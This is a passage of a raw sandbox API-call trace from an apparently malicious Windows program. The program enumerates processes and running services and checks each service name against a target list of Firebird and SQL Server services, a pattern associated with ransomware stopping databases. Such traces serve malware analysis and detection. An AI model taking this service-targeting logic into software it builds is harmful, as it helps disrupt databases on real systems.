th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0254.876] lstrlenW (lpString="consent.exe") returned 11 [0254.876] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0254.876] CloseHandle (hObject=0x45c) returned 1 [0254.877] Sleep (dwMilliseconds=0x1f4) [0255.432] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aab00 [0255.433] EnumServicesStatusExW (in: hSCManager=0x41aab00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0255.434] GetLastError () returned 0xea [0255.434] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ca4) returned 0x4205e48 [0255.434] EnumServicesStatusExW (in: hSCManager=0x41aab00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4205e48, cbBufSize=0x1ca4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4205e48, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0255.435] CloseServiceHandle (hSCObject=0x41aab00) returned 1 [0255.435] lstrlenW (lpString="Appinfo") returned 7 [0255.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0255.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0255.436] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0255.436] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0255.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0255.436] lstrlenW (lpString="AppXSvc") returned 7 [0255.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0255.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0255.436] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0255.436] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0255.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0255.436] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0255.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0255.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0255.436] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0255.436] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0255.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0255.436] lstrlenW (lpString="Audiosrv") returned 8 [0255.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0255.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0255.436] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0255.436] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0255.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0255.436] lstrlenW (lpString="BFE") returned 3 [0255.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0255.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0255.436] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0255.436] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0255.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0255.436] lstrlenW (lpString="BITS") returned 4 [0255.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0255.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0255.437] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0255.437] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0255.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0255.437] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0255.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0255.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0255.437] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0255.437] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0255.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0255.437] lstrlenW (lpString="CDPSvc") returned 6 [0255.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0255.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0255.437] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0255.437] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0255.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0255.437] lstrlenW (lpString="ClickToRunSvc") returned 13 [0255.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0255.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0255.437] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0255.437] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0255.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0255.437] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0255.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0255.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0255.437] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0255.437] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0255.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0255.437] lstrlenW (lpString="CryptSvc") returned 8 [0255.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0255.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0255.438] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0255.438] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0255.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0255.438] lstrlenW (lpString="DcomLaunch") returned 10 [0255.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0255.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0255.438] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0255.438] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0255.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0255.438] lstrlenW (lpString="DeviceAssociationService") returned 24 [0255.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0255.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0255.438] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0255.438] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0255.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0255.438] lstrlenW (lpString="Dhcp") returned 4 [0255.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0255.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0255.438] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0255.438] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0255.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0255.438] lstrlenW (lpString="Dnscache") returned 8 [0255.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0255.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0255.438] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0255.438] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0255.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0255.438] lstrlenW (lpString="DPS") returned 3 [0255.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0255.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0255.438] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0255.439] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0255.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0255.439] lstrlenW (lpString="DusmSvc") returned 7 [0255.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0255.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0255.439] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0255.439] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0255.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0255.439] lstrlenW (lpString="EventLog") returned 8 [0255.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0255.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0255.439] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0255.439] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0255.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0255.439] lstrlenW (lpString="EventSystem") returned 11 [0255.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0255.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0255.439] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0255.439] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0255.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0255.439] lstrlenW (lpString="FontCache") returned 9 [0255.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0255.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0255.439] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0255.439] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0255.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0255.439] lstrlenW (lpString="gpsvc") returned 5 [0255.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0255.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0255.439] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0255.440] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0255.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0255.440] lstrlenW (lpString="iphlpsvc") returned 8 [0255.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0255.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0255.440] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0255.440] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0255.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0255.440] lstrlenW (lpString="KeyIso") returned 6 [0255.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0255.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0255.440] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0255.440] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0255.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0255.440] lstrlenW (lpString="LanmanServer") returned 12 [0255.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0255.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0255.440] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0255.440] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0255.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0255.440] lstrlenW (lpString="LanmanWorkstation") returned 17 [0255.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0255.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0255.440] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0255.440] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0255.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0255.440] lstrlenW (lpString="lfsvc") returned 5 [0255.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0255.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0255.440] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0255.440] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0255.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0255.440] lstrlenW (lpString="lmhosts") returned 7 [0255.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0255.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0255.441] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0255.441] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0255.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0255.441] lstrlenW (lpString="LSM") returned 3 [0255.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0255.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0255.441] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0255.441] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0255.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0255.441] lstrlenW (lpString="MpsSvc") returned 6 [0255.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0255.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0255.441] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0255.441] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0255.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0255.441] lstrlenW (lpString="NcbService") returned 10 [0255.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0255.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0255.441] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0255.441] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0255.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0255.441] lstrlenW (lpString="netprofm") returned 8 [0255.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0255.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0255.441] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0255.441] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0255.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0255.441] lstrlenW (lpString="NgcSvc") returned 6 [0255.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0255.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0255.442] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0255.442] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0255.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0255.442] lstrlenW (lpString="NlaSvc") returned 6 [0255.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0255.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0255.442] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0255.442] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0255.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0255.442] lstrlenW (lpString="nsi") returned 3 [0255.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0255.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0255.442] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0255.442] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0255.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0255.442] lstrlenW (lpString="PcaSvc") returned 6 [0255.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0255.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0255.442] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0255.442] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0255.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0255.442] lstrlenW (lpString="PlugPlay") returned 8 [0255.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0255.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0255.442] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0255.442] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0255.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0255.442] lstrlenW (lpString="Power") returned 5 [0255.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0255.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0255.442] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0255.442] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0255.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0255.443] lstrlenW (lpString="ProfSvc") returned 7 [0255.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0255.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0255.443] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0255.443] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0255.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0255.443] lstrlenW (lpString="RpcEptMapper") returned 12 [0255.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0255.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0255.443] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0255.443] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0255.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0255.443] lstrlenW (lpString="RpcSs") returned 5 [0255.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0255.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0255.443] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0255.443] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0255.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0255.443] lstrlenW (lpString="SamSs") returned 5 [0255.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0255.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0255.443] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0255.443] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0255.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0255.443] lstrlenW (lpString="Schedule") returned 8 [0255.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0255.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0255.443] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0255.443] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0255.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0255.444] lstrlenW (lpString="SecurityHealthService") returned 21 [0255.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0255.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0255.444] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0255.444] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0255.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0255.444] lstrlenW (lpString="SENS") returned 4 [0255.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0255.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0255.444] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0255.444] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0255.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0255.444] lstrlenW (lpString="ShellHWDetection") returned 16 [0255.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0255.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0255.444] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0255.444] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0255.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0255.444] lstrlenW (lpString="Spooler") returned 7 [0255.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0255.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0255.701] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0255.701] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0255.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0255.701] lstrlenW (lpString="SSDPSRV") returned 7 [0255.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0255.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0255.701] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0255.701] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0255.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0255.701] lstrlenW (lpString="StateRepository") returned 15 [0255.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0255.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0255.701] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0255.701] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0255.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0255.701] lstrlenW (lpString="SysMain") returned 7 [0255.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0255.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0255.701] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0255.701] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0255.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0255.701] lstrlenW (lpString="SystemEventsBroker") returned 18 [0255.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0255.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0255.701] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0255.701] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0255.702] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4205e48 | out: hHeap=0x670000) returned 1 [0255.702] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x450 [0255.706] Process32FirstW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.706] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0255.707] lstrlenW (lpString="System") returned 6 [0255.707] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0255.707] lstrlenW 